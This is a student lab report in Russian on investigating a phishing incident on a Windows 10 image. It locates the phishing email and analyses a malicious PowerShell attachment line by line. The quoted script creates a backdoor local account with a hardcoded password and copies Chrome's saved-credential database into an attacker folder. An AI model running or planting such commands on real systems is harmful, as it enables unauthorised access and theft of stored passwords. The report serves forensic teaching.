---
# System prepended metadata

title: Лабораторная работа №2 - Расследование кибер-инцидентов

---

# Лабораторная работа №2 - Расследование кибер-инцидентов
:::info
Выполнил: Стенькин Даниил Сергеевич БСБО-04-19
:::
Входные данные: образ диска Windows 10, пользователь которого подвергся фишинговой атаке через электронную почту и потерял аккаунты, сохранённые в бразуере. 

Задание:

1. Обнаружить фишинговое письмо.
2. Обнаружить вредоносный код и проанализировать его действие. 
3. Выявить, какие данные были скомпрометированы.

## Обнаружение фишингового письма
Расследование я начал с изучения истории в браузере:
![](https://i.imgur.com/sTXHdgm.png)
Первым делом меня интересовал вопрос, на какую почту пришло фишинговое письмо - среди почтовых сервисов из истории мы видим:
1. Временную почту
2. Почту от google
3. Почту от Yandex

К временной почте получить доступ не суждено, а в почты от Google и Yandex не совершен вход, в браузере не сохранены пароли для них, на ПК каких-либо кредов для этих почт нет.

Остаётся только проверить, есть ли в системе какие-либо почтовые клиенты или учетные записи. В поиске Windows я пишу "Почта" и открываю пункт "Электронная почта и учетные записи", где видно, что в системе есть учетная запись Майкрософт alexmireaforensic_lab2@outlook.com. 
![](https://i.imgur.com/lXjJHPL.png)
В неё уже совершен вход, поэтому достаточно открыть Outlook и посмотреть что внутри:
![](https://i.imgur.com/JVf8mb1.png)

**Очевидно, это и есть фишинговое письмо.**

## Обнаружить вредоносный код и проанализировать его действие.
Перед тем, как открыть приложенный к письму документ, можно сразу понять что он из себя представляет - к примеру, название "POSHE" уже намекает, что это нечто связанное с Windows PowerShell, а указание переименовать расширение в .ps1 ясно даёт нам понять что мы будем иметь дело с PowerShell-скриптом.

Рассмотрим построчно содержимое документа, приложенного к письму
![](https://i.imgur.com/nmlVtMN.png)

Сначала создается переменная с паролем. 
```powershell=
$PASSWORD= ConvertTo-SecureString -AsPlainText -Force -String Qq123456
```
Используется командлет ConvertTo-SecureString, который преобразует обычный текст в защищенные строки. 
> SecureString — это текстовый объект, подобный обычной строке, но он хранится в памяти в зашифрованном виде.

Защищенная строка может использоваться с командлетами или функциями, которые требует параметра типа SecureString. 

Например, с помощью New-LocalUser можно создать локального пользователя в системе, что и сделал злоумышленник:
```powershell=2
New-LocalUser -Name "WildRusHacker" -Password $PASSWORD
```
После создания локального пользователя с именем WildRusHacker, злоумышленник хотел создать новую папку в Program Files. Параметр ItemType позволяет создать директорию (а не файл) по указанному пути.
```powershell=3
New-Item -Path 'C:\Program Files\WildRusHackerFolder' -ItemType Directory
```
После этого, злоумышленник планировал скопировать файл Login Data, который хранит все креды, сохраненные в браузере Chrome, в свою папку, создание которой происходит в предыдущей строке:
```powershell=4
Copy-Item -Path "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" -Destination "C:\Program Files\WildRusHackerFolder\Login Data"
```

## Выявить, какие данные были скомпрометированы.

Скомпрометированные данные, как мы выяснили из анализа вредоносного кода - это файл Login Data, содержащий креды из Chrome. Если открыть его через блокнот, выглядит он следующим образом:

![](https://i.imgur.com/520SXCH.png)


> Этот файл представляет собой базу данных SQLite. Среди колонок есть ссылка на сайт, логин, и пароль. Пароль зашифрован: в его поле - байтовый массив. Chrome шифрует пароль с учетом устройства, поэтому чтобы расшифровать пароль, злоумышленнику придется воспользоваться средствами SQLite или каким-нибудь Python-скриптом.

Мы уже находимся в системе, в которой все эти данные были созданы, и поэтому Chrome их спокойно расшифрует для нас и представит в удобном виде - достаточно зайти в Настройки-Автозаполнение-Пароли:
![](https://i.imgur.com/ZwUOFHe.png)
